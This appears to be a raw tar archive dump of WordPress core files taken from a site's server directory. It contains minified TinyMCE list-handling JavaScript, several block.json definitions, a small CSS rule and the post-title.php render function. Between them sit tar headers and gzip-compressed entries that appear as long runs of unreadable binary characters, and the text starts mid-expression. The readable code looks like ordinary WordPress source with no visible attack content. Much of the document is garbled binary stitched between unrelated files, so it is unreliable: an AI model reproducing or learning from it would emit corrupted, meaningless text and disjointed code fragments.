u=Ze(ye.fromDom(t),ye.fromDom(e))?n.getParents(e,N,t):[];n.remove(e),Z(u,function(e){w(n,e)&&e!==n.getRoot()&&n.remove(e)})}},at=function(e,n,t,r){var o,i,u,s=e.dom;if(s.isEmpty(r))i=t,u=r,(o=e).dom.$(u).empty(),st(o.dom,i,u),o.selection.setCursorLocation(u);else{var a=I(n);st(s,t,r),e.selection.setRng(_(a))}},ct=function(e,n){var t,r,o,i=e.dom,u=e.selection,s=u.getStart(),a=ve.getClosestListRootElm(e,s),c=i.getParent(u.getStart(),"LI",a);if(c){if((t=c.parentNode)===e.getBody()&&w(i,t))return!0;if(r=x(u.getRng(!0)),(o=i.getParent(ot(e,r,n,a),"LI",a))&&o!==c)return n?at(e,r,o,c):function(e,n,t,r){var o=I(n);st(e.dom,t,r);var i=_(o);e.selection.setRng(i)}(e,r,c,o),!0;if(!o&&!n)return Vn(e),!0}return!1},ft=function(e,n){return ct(e,n)||function(o,i){var u=o.dom,e=o.selection.getStart(),s=ve.getClosestListRootElm(o,e),a=u.getParent(e,u.isBlock,s);if(a&&u.isEmpty(a)){var n=x(o.selection.getRng(!0)),c=u.getParent(ot(o,n,i,s),"LI",s);if(c)return o.undoManager.transact(function(){var e,n,t,r;n=a,t=s,r=(e=u).getParent(n.parentNode,e.isBlock,t),e.remove(n),r&&e.isEmpty(r)&&e.remove(r),et.mergeWithAdjacentLists(u,c.parentNode),o.selection.select(c,!0),o.selection.collapse(i)}),!0}return!1}(e,n)},dt=function(e,n){return e.selection.isCollapsed()?ft(e,n):(r=(t=e).selection.getStart(),o=ve.getClosestListRootElm(t,r),!!(t.dom.getParent(r,"LI,DT,DD",o)||0<ve.getSelectedListItems(t).length)&&(t.undoManager.transact(function(){t.execCommand("Delete"),rt(t.dom,t.getBody())}),!0));var t,r,o},lt=function(n){n.on("keydown",function(e){e.keyCode===m.BACKSPACE?dt(n,!1)&&e.preventDefault():e.keyCode===m.DELETE&&dt(n,!0)&&e.preventDefault()})},mt=dt,gt=function(n){return{backspaceDelete:function(e){mt(n,e)}}},pt=function(n,t){return function(){var e=n.dom.getParent(n.selection.getStart(),"UL,OL,DL");return e&&e.nodeName===t}},vt=function(t){t.on("BeforeExecCommand",function(e){var n=e.command.toLowerCase();"indent"===n?qn(t):"outdent"===n&&Wn(t)}),t.addCommand("InsertUnorderedList",function(e,n){et.toggleList(t,"UL",n)}),t.addCommand("InsertOrderedList",function(e,n){et.toggleList(t,"OL",n)}),t.addCommand("InsertDefinitionList",function(e,n){et.toggleList(t,"DL",n)}),t.addCommand("RemoveList",function(){Vn(t)}),t.addQueryStateHandler("InsertUnorderedList",pt(t,"UL")),t.addQueryStateHandler("InsertOrderedList",pt(t,"OL")),t.addQueryStateHandler("InsertDefinitionList",pt(t,"DL"))},ht=function(e){return e.getParam("lists_indent_on_tab",!0)},yt=function(e){var n;ht(e)&&(n=e).on("keydown",function(e){e.keyCode!==m.TAB||m.metaKeyPressed(e)||n.undoManager.transact(function(){(e.shiftKey?Wn(n):qn(n))&&e.preventDefault()})}),lt(e)},Nt=function(n,i){return function(e){var o=e.control;n.on("NodeChange",function(e){var n=function(e,n){for(var t=0;t<e.length;t++)if(n(e[t]))return t;return-1}(e.parents,b),t=-1!==n?e.parents.slice(0,n):e.parents,r=v.grep(t,N);o.active(0<r.length&&r[0].nodeName===i)})}},St=function(e){var n,t,r;t="advlist",r=(n=e).settings.plugins?n.settings.plugins:"",-1===v.inArray(r.split(/[ ,]/),t)&&(e.addButton("numlist",{active:!1,title:"Numbered list",cmd:"InsertOrderedList",onPostRender:Nt(e,"OL")}),e.addButton("bullist",{active:!1,title:"Bullet list",cmd:"InsertUnorderedList",onPostRender:Nt(e,"UL")})),e.addButton("indent",{icon:"indent",title:"Increase indent",cmd:"Indent"})};f.add("lists",function(e){return yt(e),St(e),vt(e),gt(e)})}(window);14338/media-editor.js.js.tar.gz000064400000017014151024420100011736 0ustar00��=�sܶ��U�+�9O�JV������q�֝����ܸ�D-�c.�!��u���{_����L��U3�vI�x�����Wv��r�C��h��m����fUQ�o��f���7�zSu��^�_���jQnr����l^d{𫫛�7�����O>}����駿y�~��ǿ}��#x��'�>|hA��?����o1֯�g�����[o:����r�޽��yY�e�9����6/l���
��^-���8;o���ɿk��|����dUn�A��`o�Ͻ�rS-���f��d�ݽ��L��ʶ������&��j�Ҭ�S�����6�WM��������¶)v'�Ó�X��{;�Yc���Ͳ��Zsd����=6�\�Ƭ��EeܴLW��.r�5���ֶ���^�ˬ��,��`�����&k����]d��o�v�AۺF�kS�li���5�*�ˢ�n0..w����\ 4m�M��s����Z�:4�w�Ͼ��nL�uMk��֦^�uS�[�l�j/�[Թ5u�`���3��xxC<�	�߫�����"a���Ņ]�1K���Vc�MS�w�O���yC�8/*`2趨m�x�����e�B@E|�$�T�q�9��5�F;����E��
-�^Q�����~�M٪)�܉�6>�v7���B�cstt�~"4@ ~�3jM0�PA7�W�����N����L����$�A���#�8%;%�8������Vݩ���9w`=�nj�@�
��
D�,C檉ոW���h�k�0�1�E39zw��<��@z��([3��⼚���ހ��d��n:,�L\�����c.m�"�~[����D��C|��h��P�C�<+��\&tF���/�ҭ�wv��%�?
D�,�U�]�BV�Y@��H�++�����R�)
�R���0C�GG�Fȡ��bR��s�r�/PN������#Lm.�v���:�Sz�-c��қdn�
���]F����`�S���%B�oVԦ)	�Iy�(Q��_��7�
`2����^��X��ATJ0b���nq��f"{��ۢ+��o�.M#|�Gv�m�4�����Մ�eQ"��	��AH�����[��|�H�����D������z�F@�K7�����}•%���_��c���%�IЦ��]„�����~��a׽�|�{���s �ncTУC�^r#�o��J�L/_��{z� �P'�}��*���$]�7Z�̕.�5��u(FN�����`Q��R�."ua�����N��w���5Ny�g���s2�[$��S.����$B�g���x�(x7�4"N�/�-���t	:(�[y�۞�/YC��o�(��/�^�
€�i�A'·!*}�WS7s�b<il�Y�Uּ٬١���]v���OJnE�"�-n��_���<n����|vg�&����+���Q@�O��˷��e�b�21c�A��1���Ml-�{���A�1Y���W��I�L#�@��mC.�U^t�R9s�`��,������H��t>��e{^��wb���N��f�98�)���&��=M�/G�Zw��9/�3"G&^`�L��ba�F*.��U���("4�9
΁7�@m��M~Ŵ����V�FS�1J���=��A�BO���u�����Ź����Q��@ӣ8��T���̔��E���)z����Un�>_��N���J�q0�8�C�P��!�s$�8��
�}�1p��h���P=����gK�uYt�$Mva��ٮ��	eS����H����Z�c
�~Ư���[5���w�
6U�Y�&O�.a&��!.�Ŕ*2����~(,��"���؉�K1�R�xҊ1˲'7W$+KNn��$�u�V�j���S����D�7�G6^����+�J�̵�87�*�P�@8-%Q���P�2�wM�w�^�A[��V�&��s���zBc���(��2�2���
ƅ�&B�z���� 2�9��99F�vLĬ���&���ʢ�ظ#ϥ�)��H�dR�+���M�x���S-���	 ��ݵ�+ؔ�����n����_%�'yMY�E�Zg�n�X����E5KL0�[�E�������m1f�X� q%S�� �1��%=%�SЬ���I��]��.X�3S�H�O����{nn�z2�۹q� 
h6Y�jy*h[�@;�W�g�1�ۣT�j�}����{��A)�\�)@��C ��h��#h�Z:�L[D^�MG����3<-@})�N^��G!�&�y���7GH.�o��X)J.]R���%��M2�Fkh�5ɳ.�h_~���#K�Dw�
J@�r��~;^3C��6v]f;��W���~�:Iv���fɈVh����4Mo*��!�[(W�^_>��(E��ZB!p�<��A���I�SVS8�H:^�YB|�G�V�}�2��X��"@���w��+xPF��-��E�����P����޹�%{�a/f���+&�����.����J��c�Y�i��ƭ�r�(�н��BYe�"��nn�}z^½H�僛K�aW2�9�Jh��.Xl)K(�6�m�{����ן���5$lh�8ܺ�wD�����C�����p�cyJ�8����K��ю�λ�K].��t�ĺQ)�Ǖ/lAxM�1�|i?y���7�"[�9�+�>	���O�:�9��O��EgWXS�չ!��P�>P1��ac��W,��>�v�R�,��\�@+��'�m��ȫ��c�Ef�l}�0G��Zb`�ݞpc[,�9��j൶�w4��0�$L*5'�G�v���\�Zf��J!��RQ��.W�0D5
��g�(\���~;כ�Mn����}L�����s|��N�#�#��Hz������h~jj�Z�B/+
[�]IN*=��	=��–��5��I�U������;h^�TݐG�Z�V���E���u�#W�
u�|�7l��
R��y�>;0Ͼ��~����`�a�H���%��s"��싼=5�&������+
�z��rrRT���e����t���毀��[G�f�{9Ahi�N�@\��[��7�b��uYg�͏k��>)�^p��Ŝ�QWV��@Ja�"�S&
+*�zUtA������po�(�J��O��d*^�S����(l�M��0�-��a��r�^�l�3�	=��)��ǹ�����e���<�Z�R��������u�Q�{6�iL�ګy�?�޿�M�<��o)��js�Ѣ
���Tr���^<�o�-��u#��JVBޒ
�c5ᇋ�L�8��t���������^B"ҹ'c�=&L����-)Y^W���x�Vt_?����jK�'�켪,A
'U�Za�:���XT��)�
]��ll�_���W�ڷw��W�LN��
P��R��k^Nн�*�-�Pe�$��Ge�X
�z�����4�G.�UCnCym��l�jDZ���S���J�vre��f�}��|�C��f�q�hѢ�N5�p�-'�������r��6��0���%)+:����T=�� ��/��A��ˆSF$�0�/�{�o|���QM�|2��{/�ȚA����|2g�����^�XQ@�.כF�w3�$Ljš�z�^��(��2N.wɰ{V\+6�F:��Y>�#Z��R�ۍ~^o�J��m���*���E]ɽ��#~Sp���gz"�^#����B{�u�0�`���R��ʺŅ���܇+��3@\
�Cj��-�
ږ��Et�'}aKJ,=����A<.^��~�3������C�7.��|�������p<D1;>bF4�YQ�ɋ�J:Fg����ZK�
�Q����
��eI_�u��A�عAyZ�ћԅ��^�z�TNh}n;6��sbd�u�B�Il�k�W���eZw��S�6�'G4���.zǘ�}�L�X뭿�-�\|��:n"�;iMĘh�:�8g�1\=���,��X�z<�@Z�\�6y<7X{�IʜΑx��4Cv�PM��X*d�*a�&k5{�-���q�[��T��i�f6|%�R����ݏ�`b_�7��dt�eQoZ�@�~�7B4o��Ņgi^��6�l$6͇����^�Fmi�u	z^ԏv�=|d:�;d����=^�P&k�MӠ�P�Pxl�� ��;BnK�L	~t�VKI����
c��r��c 3��'�AмB���C9���3E��S�ņMFY��wvU_P%Q�x���Z�#�OF��L����RE�=�ȡ���$θ顏�N0bO�G���OD�neK��[���*��yGv���g�[�YU@������񩮤�ج�*0���<}��	��L��Q���嵘|�p���
�Y?�~L#L
�x����$j�w�4Ė�'�B��Nw�lg�cIO01�-�4܁+��'^�>��G+R`^_�������D|��|�U�T����6Y9�hg"�?E��O��=p7:�nU�>���3��ޢ5xs[��W�ż�1�P^�z���Z�v�|�����>�s����v���Mr2�T)�x<+�h�g����
��=�C�����JA�Z�۵c�x�eH���׺v<��k!�b�Ü�o�F�jl��,�9�tm.R���1x�{Di��_b �i#� �H����ԩ�Cg��q��\���0�D@�=�����.%�u���vUFT>:@ҕn�	w8�ZWu�p�Oԁ^�c/��Bs!VT)�<d?1z�sUT9���jG*�x�oUzr�ԛ2����J��1W�U��1n�A<�\Zr�T�j8y؏�'-���ݜ�u̼���T������q�F��n�L�ׅ�S�0;�hE��2|U��:2fCsJ�z��|d5( _�QX�����83�Sx���;�Gxi�W��8�	�G_5�����9�� A�+s��V_^��.��h���'[>'��z��7�-��<˚>�tП�>��-=�$�7B�q"I�J����a|F��o�&���7�Ds�vb���C�Z
�}|����H�Y���������]DZQ �y�e
*�K9�<�����&`��Hy�>�c�JҌD��U��%�:ü(&2EaH�(n��nҢOOR�#����go��#����)�rs��S�#��ʓ�K��U�P��/�A�?��,��{&�%�﹓(�$�p�%�o{��1��խF���vY9�lL���p�C�5�~}6�Jzᅬ��;���6S��Zpo&���tn�!/�f㼳$6W��3E����I U��7 h46�	[�C��;U1B����&�����+R��R���[�99�+�K�q�jM�nv��Ӫ�Y�	��MX�2yK�B�oCw�4&�K6i$I*��c�mY�жF�p�HW�ny��>�M�
)�Ǹ�j4�UN�1����gn���'�S�@�������`��EY�M?FBZV�lG.���/�;o%N�\g�6r�ϟ7@�.�c��}����9(WIO
��1x>�t�9ڻ�R�h��}	
�<%r��)b���O����Tt|T�u�2Ǩ��ݷ�uG��2�6U�LCg+J�#��
�V:R<q���R�E����YYH%�x>���3=k�f�uy=��L֜o�jGa�k��cD����>��]|8N�/ c�$4�3'�*|	����o"��}�2,��Z�W��Y��ए5�E[sn�������Ծ��'�
��OcpŚ(�8�y�œ���/-4��n��"?��)����Y>\f�)����q�p��~�e�+�p#͜�)"�xYkB�""B��:���x�;;�n�D�����o��]X 6�9n�Bg�6k�8.�P�{��ߴ�.. �OМ�7����������Ba��5zz�XN��|� �V�U\4f��K�[����e~r�������Cq.j�%+�i�ӄk��a�χ`�h��bd���9!�	f_��s�t��=_�up��ED��͹��Z��%N�������Jx��]�M�p�#��%7�>f��(Ȕ�Jߝc��}��� �� $�u	�GF+�x��W�l�UБ���l�r4�5�0��#��|�;���".��M�%�cA4���a�f��6���a"�&w�{S݌<�Տ�&�*ig����_��Tɮ.�֣��CBa�r�}i�7���3Ӊ��(������Q�oz�P�u�� �K���J���R���hA|4��fp�{�{��R��^���k��kwV����B������
�խ��M����m;;�DP�`�M�c�2z�s��%^o���_�����K�h�)$Us0�U��ao��FFui杗�-��
���Y�2V�dcI������%�87)�\�Q1��$n��u���;�k�U�4y�O
N�
�B���"tK�r2O�����^� 8�>
��(��8����l��@�5��iW�佨"��ɾ*�$y����QǏ�DZ��?uN>�'��3�&�[���L௱~�3w�~�ܹ/�ą�����[t�`"ՠ$���ڶX��8�خ4�[F��<�7�h�g?[sk@NS�0F��Y��
��ZZ�֛7%�s"%E�tk��Kq�o�����z;˽W���F�b���W>���r)���-^��ƮA��j�B��oC���
�����@�`��`K*�,���r�%�x�q8���t�O�rվG%
V�]���uk�/|mX����6:�`��0�MB.�n�sW[���)��D�I�B,�o�N�ܝ�QwE���M�H	Uo^Q0�S/�^��[L\�N1P�� D��m�h
�4jj�.l�ƻD�5A�!���_����k=>4�{���Hc~��2й�T��<*����T��}�o���*r~u����áZ�Oñ����W�G��1��7%z����I�?�t�K�o��%� ;u^<�n?����>�v �� g��y�W�*Oj�P��9�u�+X_-��ʺ�����?���U�Ɯ�	�t2J7�*Y��^�|O�D�Й6&�t�Wh(^~�ub�z��qDo	�w#.{�6[Q��������햄b�;h��.yw+i��-Dy_���B ���5~;�T���!�ƙT7$�{�s�WQA6Z`6�[M^CGޜK���6�{$��G�p��w�{�����-��l^� s)� ����Z�A�!Lk�b���x�o*:[ѽIfy�C�h)�+Ӌ���U�Co����Bj8��H2{��m��Z~��F5�	�+J���Y�_��
U�����{&wK}	�/�y /S�g
P�Ki�D�)����9��˚�mٙ�p�y�=��ѳ���,�/�6zqA��O�Y8��+�wbf;
�{
���:�8��,U?""n��1��tz�:�཮���5���D��&;߃W{9�Mr�BC�8^X7/��L��қ��8�q�O��ʖ*�0x�Ksnf����:م��>�?��������x14338/wp-custom-header.min.js.min.js.tar.gz000064400000003314151024420100014121 0ustar00��X�o�8��WМ��*�M�����n���Z����U!y��`�b�A��{�)�����ZH��������g&b
�Q
r6���ÔMA��!�!��Df�����"�jAC1mϓ�a�E �_�~
3�Ĵ5� ��N�_�u�`{z|���:�u;O=�>�v�����u�Q~����Q�sK�h�y���\���><h\N�l�X
�2%Zc̀4P5�?�2*&��<E�� m�����P�y�)Ŏ�Eb�`���:�>�y�<���\�G"̦�J�p6��/��8S�p�1�*��N��%K�K���G1��_�@�|b������T6���D��y���j�{NEf�7L*��k6]A�T(���/��,���[lj,��5��,ID��q�%d$R������%K�Wp�G3�����l�/�b�A����*�@7��0�c�/^�a��:T[3�W+�9�?�}��繷�wua)�,�.��0$��HM~Q��q�*:^O���$�^�nF�rO�L�lj)�v��05i3̔´#}xP
�K��
���m�Ǡ
���Ƚ�xv�e�m��R)C	�Πώ����~9{C�W)�)��k��M�`al�=�|��"�v8�=(���������Ŋ2yd"��(��>h�KrR���Ə�MNͺ�S���v�L��`�v��fSR-�2��v+Q�Ђ[���w/��ܷC?�md{���)��C��Wn����Ѕm	�f�J8"k��I�X��q�3a@L��S
�DL��	&̐���j�ܪ�VS���NX���sMnm�&��skS�xd�5��;h�B��؛�XVCQS+�d� �ju�����<��V�ؓ������6�A�ߕ�c�F~u�LSk�
�}�Ǝ�cÀ��<„㮪P��WK�u+$��2�!U��J��B_*zW����b^�w��XX;���
R�'�瘑�h3���~ܕ��H���{@f��o�>�bQ]i$�Xs(�ا)�sdu�<�1n����o�<V�}s��:�P�v?y�o���3��!��j��}���V��!~(��dDZ�iX[��1�wSP�"k��ע�T���NV�1����a�ٛ�6/��[Ei����ɶ}���
�;�/
]�|�,8X�L���!�V��uao^J�u%���t&J%��n��sZ�dn]l�"��	s0��Y��[w:�{;����`lIZ��!ȯ5�D͵�z��l��"6C��=x[g�&h�wX��Wtnް�]Z��v�� ��}f����;/�T�$�z�����{@�0h�f���G6h�
�!D�6Yٱs�KN'3|a��_
��#!�՗���!��mrս�@CN����N)0@EVK2�A�6�<�/�����x&3���y���ݯ&��@X���W�x������
�5��޽�(���u_OP�urQH?)��d�^�����m.��m���ٍη�D`]��=�4�b�TD�a��B
f���-��u��^�'�싀��Je�����T7���w�S9�$�"�b㵁�I~�A�m�~����
-�W��F��A��F�K�MyV��˰�`m@B��oEk�I�(�EY'[ؕ`mP=�0?�n,�oJwZ����A��s�#eaڠ��c:.��<_h"E�����.�W$��7��2���[�z@���/;�=��vw��]N14338/theme-rtl.min.css.tar000064400000004000151024420100011167 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/code/theme-rtl.min.css000064400000000164151024254130026736 0ustar00.wp-block-code{border:1px solid #ccc;border-radius:4px;font-family:Menlo,Consolas,monaco,monospace;padding:.8em 1em}14338/query-pagination-previous.tar000064400000006000151024420100013065 0ustar00block.json000064400000002033151024254150006526 0ustar00{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/query-pagination-previous",
	"title": "Previous Page",
	"category": "theme",
	"parent": [ "core/query-pagination" ],
	"description": "Displays the previous posts page link.",
	"textdomain": "default",
	"attributes": {
		"label": {
			"type": "string"
		}
	},
	"usesContext": [
		"queryId",
		"query",
		"paginationArrow",
		"showLabel",
		"enhancedPagination"
	],
	"supports": {
		"reusable": false,
		"html": false,
		"color": {
			"gradients": true,
			"text": false,
			"__experimentalDefaultControls": {
				"background": true
			}
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	}
}
14338/post-title.php.tar000064400000010000151024420100010604 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/post-title.php000064400000004132151024256570025455 0ustar00<?php
/**
 * Server-side rendering of the `core/post-title` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/post-title` block on the server.
 *
 * @since 6.3.0 Omitting the $post argument from the `get_the_title`.
 *
 * @param array    $attributes Block attributes.
 * @param string   $content    Block default content.
 * @param WP_Block $block      Block instance.
 *
 * @return string Returns the filtered post title for the current post wrapped inside "h1" tags.
 */
function render_block_core_post_title( $attributes, $content, $block ) {
	if ( ! isset( $block->context['postId'] ) ) {
		return '';
	}

	/**
	 * The `$post` argument is intentionally omitted so that changes are reflected when previewing a post.
	 * See: https://github.com/WordPress/gutenberg/pull/37622#issuecomment-1000932816.
	 */
	$title = get_the_title();

	if ( ! $title ) {
		return '';
	}

	$tag_name = 'h2';
	if ( isset( $attributes['level'] ) ) {
		$tag_name = 0 === $attributes['level'] ? 'p' : 'h' . (int) $attributes['level'];
	}

	if ( isset( $attributes['isLink'] ) && $attributes['isLink'] ) {
		$rel   = ! empty( $attributes['rel'] ) ? 'rel="' . esc_attr( $attributes['rel'] ) . '"' : '';
		$title = sprintf( '<a href="%1$s" target="%2$s" %3$s>%4$s</a>', esc_url( get_the_permalink( $block->context['postId'] ) ), esc_attr( $attributes['linkTarget'] ), $rel, $title );
	}

	$classes = array();
	if ( isset( $attributes['textAlign'] ) ) {
		$classes[] = 'has-text-align-' . $attributes['textAlign'];
	}
	if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) {
		$classes[] = 'has-link-color';
	}
	$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ) ) );

	return sprintf(
		'<%1$s %2$s>%3$s</%1$s>',
		$tag_name,
		$wrapper_attributes,
		$title
	);
}

/**
 * Registers the `core/post-title` block on the server.
 *
 * @since 5.8.0
 */
function register_block_core_post_title() {
	register_block_type_from_metadata(
		__DIR__ . '/post-title',
		array(
			'render_callback' => 'render_block_core_post_title',
		)
	);
}
add_action( 'init', 'register_block_core_post_title' );
14338/comment-edit-link.tar000064400000016000151024420100011240 0ustar00style-rtl.min.css000064400000000062151024256560010003 0ustar00.wp-block-comment-edit-link{box-sizing:border-box}style.min.css000064400000000062151024256560007204 0ustar00.wp-block-comment-edit-link{box-sizing:border-box}block.json000064400000002644151024256560006545 0ustar00{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/comment-edit-link",
	"title": "Comment Edit Link",
	"category": "theme",
	"ancestor": [ "core/comment-template" ],
	"description": "Displays a link to edit the comment in the WordPress Dashboard. This link is only visible to users with the edit comment capability.",
	"textdomain": "default",
	"usesContext": [ "commentId" ],
	"attributes": {
		"linkTarget": {
			"type": "string",
			"default": "_self"
		},
		"textAlign": {
			"type": "string"
		}
	},
	"supports": {
		"html": false,
		"color": {
			"link": true,
			"gradients": true,
			"text": false,
			"__experimentalDefaultControls": {
				"background": true,
				"link": true
			}
		},
		"spacing": {
			"margin": true,
			"padding": true,
			"__experimentalDefaultControls": {
				"margin": false,
				"padding": false
			}
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		},
		"__experimentalBorder": {
			"radius": true,
			"color": true,
			"width": true,
			"style": true
		}
	},
	"style": "wp-block-comment-edit-link"
}
style-rtl.css000064400000000067151024256560007226 0ustar00.wp-block-comment-edit-link{
  box-sizing:border-box;
}style.css000064400000000067151024256560006427 0ustar00.wp-block-comment-edit-link{
  box-sizing:border-box;
}14338/legacy-widget.tar000064400000005000151024420100010443 0ustar00block.json000064400000001054151024246730006535 0ustar00{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/legacy-widget",
	"title": "Legacy Widget",
	"category": "widgets",
	"description": "Display a legacy widget.",
	"textdomain": "default",
	"attributes": {
		"id": {
			"type": "string",
			"default": null
		},
		"idBase": {
			"type": "string",
			"default": null
		},
		"instance": {
			"type": "object",
			"default": null
		}
	},
	"supports": {
		"html": false,
		"customClassName": false,
		"reusable": false
	},
	"editorStyle": "wp-block-legacy-widget-editor"
}
14338/class-wp-meta-query.php.php.tar.gz000064400000016326151024420100013546 0ustar00��=ksG������$2$dS�#X�Ļ`�1�n�<�Z�,�e6�1���G?gz$#��r+�T�f�O�>}���u��ɭY.��ٯ��$��d1���$2J���l�%�&Y����Iv�u1������bk�DEq���2��k%���t��s>��/��]�|�ͷw��˽o�����w���w��o��w_�m�>UQF9�����G�Z�[�n��[����y��@�~1�/�_pA-24�6�G�wщ��|����E5�/�#?.����.|�Z��<�r�0EUȩ(3��y&�R 	�Xb��<���B�v×'��yT����<E���>Q)fqR�\Db\�4�;E4�����Ѧ'/�Sq%�,�@>bh"Ne2�9%IvQ���ɢ/�jr*��p�_�����0���f��Z%e!Ɨ"�[NJ�h�9�>���c�|���݃�cvl萉�QYF�S9U#!A5�H4ƺ(s������j��h��2���ɋ<��Do�y!}B����k��v�<�Y�,����55y)�����h���R5)�=Z�8������T��M���I���@�Ч�p��_�����8�'bSsڐ�v{���C�T.t,�)S"���x�@H�;;�O:��<?�,Æ	^CG��b��6�
)�D�
��Єmxpo��yD��!gIu�ͅ}���90'R���{��ƿ��e�,=A6\�x
���,"	bvq*s��)V�m�UQ�ܙ��<����C�#y�[	7����kr-�}&AB�0�H⢤��(�#�$|Q!Zt.C��CyV�d��4��f�������K�Dt@���`/[<��b�T�s��a�,-�8E�)���"�7���,K���F�(�GFd�,J�{(����3g���y6�&0BQ��Y^��GA
���7��q6��s�D �6p�~�k��=��n�dm��J�X
�J}�\1�2��2���?v�y���>�eD���Vgc <,;�&$?��DK4���[y9��}����XǛ4V}��
��D*/	%�F���_n��"K�_�JSc{ͧ�y,]���2`�ze`@P�w�W�/og�Da`������'H�K�M.g ��	o[�l�_v�bi���{�Mr3?���H��[�#���(��{v���pC;�ߙ�Lkf�Ӡ�<�gg2�s�}��O�,s�jh2-�`0ؼ�,~,�;�j�4�oi�Q�4#90�����09��>������
�3ӄ,T|�ɖ�&ݸF����nE|�W��ˢ�
DG������#:��
�n��E�*����U���:�j=v��U�\���������%�M��[��+@��|-\@4�R-��R;���
��q!��ô�/�ìB �L�Ԉ�)q'	���;/iSg��N�U4V����s��kДw�.,bR۹<��2�{4r�4�K�N;��FN�jB�����,݄��R�FC})���J�V�:�)�[z��{�zww�A?����/>MA|&�@�᳨�e�J`	��*�Ud��g�{�W�|�@+�|���*�����x��p��j}w�=�y�Jח{?��>Y��Ⱦ�_qLw���X��@}��F�*����FZ=�W/D���x&��׀_�岬�t�����E!}pG�gv�Bϛ7���7e�Us0�P�m��qq�bA84���n[+�-
��
��E���?�1��у��H�nZT��9tl���G��Y(�Yy�E!&6��ku!�Dy����M�8�J.��奈Ky��	i�샰$B`@��] ���o~,�{��./}���n�	0Y��zh^�M�6���x�yq1�ng���,6�WF�S�������C~f��s���I-��M���+!��/���t
#�qZI�%~l�+5��9*�6F�v�mCx;Pm%�^z�)���
�Z��l����O�#&��ip�ϵV�3w
��3�v}Qd���T�7MuGN�hjۯf�ZJ��M�5 �`��u�SW����`��	��ۊe��>Dc�g���F�t��_fÕD��FSޮ��rU�zp?C�L���-��-�GAp�@"eir	k
��$�1�>x�`=�nnM�˰�!��M���ݤ���@�H�I"�+P}%C(0��b%���DQ�g�O���1�5 m�z6	��ֽ�w��H���{
*��.�J�u4�+��p<���Q�~z�O�#��J|��j\ 'XjUǎCmD�ya�}\!d��w���%(𕅆
g�v���C(�k4�bB��k	Ee�7FW-��Y�ׄ,�%��U������!��ǔ9��A�ŭ�z~�Ek�(D�s���1�Iڴ4t-�(�H]�T�g����=��#X4*1t<&�,�(�^&(��Ca�J9U�
��/�E�c���D��q=O0eW��W��rT�{j�CC�A9�	Nv�E��K1�d�v`�6&W@蔧���f�ŕʢj��f��c���ņ��"�> ��U���O�=�G#�B/;� �|q���~=?�6��������۞�fjY��Şj����`r�R�����^�qc8��wu[�	�Z豖́ٚ���}\`}������ůf��6xx� d��e�
c[���s� ��k�>d��o�
�"0��m��,߅�/ì
��a>���u�������l_DsP"�9�k\Ya
sN�s�*�(��Cc�(���r\'i�?�86�qj�r��U?ۣM��r��F��v�`���_��^�M[9Xrr���lP��<��$XG�p뿻�pX�
A^a��JG�86r��$W�P�����m����x���]��O����W�%scQG�؇r;;���B:
��4�q�O\���W�ȵ|@�t�&0��	�I�Ef��N�������x�E�:W�{T�/�٘�A��`8]/P�v�YQ*ņf�9%K�
,U�#,�Rѫ�~AE��:0[����;r�
]��-�������LYVk���7��p�>�d�hC�}�Pǯ���j��"��g)�48>.c���g�>"�+�Z���o[�zL��%��z���ÏA�U������+)�kiTҝjѨN�Y���_O���<��4S|A����\B'�>ټ�@��N�d�G'�����իX4,��k�����(��_%\�5�8�oypH���L��!`��޵h0w�{���"A�����_��7�;sh�`�jL�m:��)C��b�Fcw�p���&,��K�5Q�cQ�fTo��•�Ow<T_�Q�#=X�"���zT�bٹj^�fU���1�`�@�[�K�:��:}%ߓX�7��tѹugh��sG�L(�:����m�8f�ӄ�(��$�u���w��׽�Af&c��v/I����)t1<��#�=�"��}��y,v���?
�d�
0^MB��w����8ׁ��q��IS~^E}͔�
�:�{s��P��n\��n:���a��R�"�YW֧פէ�T��t�<��[옙v&;F�"ᕏ	��Od�W���{�i�cO\�Me���j�;��"�f��4#-+DmYfiH7#ƨ���Fi���9����=h�|~k�K2&��φ�"��u�M��R'8a�Me2��!�Kɉ>���C���L��r^cb
�Yݧ��&�҉�5ҶNJ�H�.��8�P��֋%y����>��wh8y��Z�	d2%:�
�h�	��4+���3Lm�Ie�X]���u! s.�W���/��`Y~l���,;��E7���;��T�a[�gߜ |y.�BL�A.��r,g�tR.��W*;4��I�`H&a�G���w�������K�����j��!Ht�V���e'0��~
�mS{�sM� �N�ޝ������RawL�Lj�6���B�ܾm���6��-l��V@p��TG�>�����m�Է�����!���:eK�s\�%h��G��W��P���#h�*��,9��p3��#i9�n|K�����/��Y�@��c!��;���
|��0ՕM�a}�o�<z��g���B7.q����duUkR���\�4I��6ե,�����
�a,?|ѷ[�]�}�E�D�jl�pu<��%�z�v�hl��x��L�Є�v��[Th����YM+�)��sr���rT��f�G�C�Oc�-n����'Ui<�
�E]�@)W%�y���7���8!W�/���t�
��
4���na�e�Ҩ߆
5��uz��2�1�PV���jk�l8Ug`4Fi���[Q��`�:tE�2+�$��Q"�5���EP}5�쵣G��ǟ�0��O��ř�5�M
��C�|��l�c��sJ��!?HojZLA[v�F�(^��'1t�NB�xi@�Y�៕��
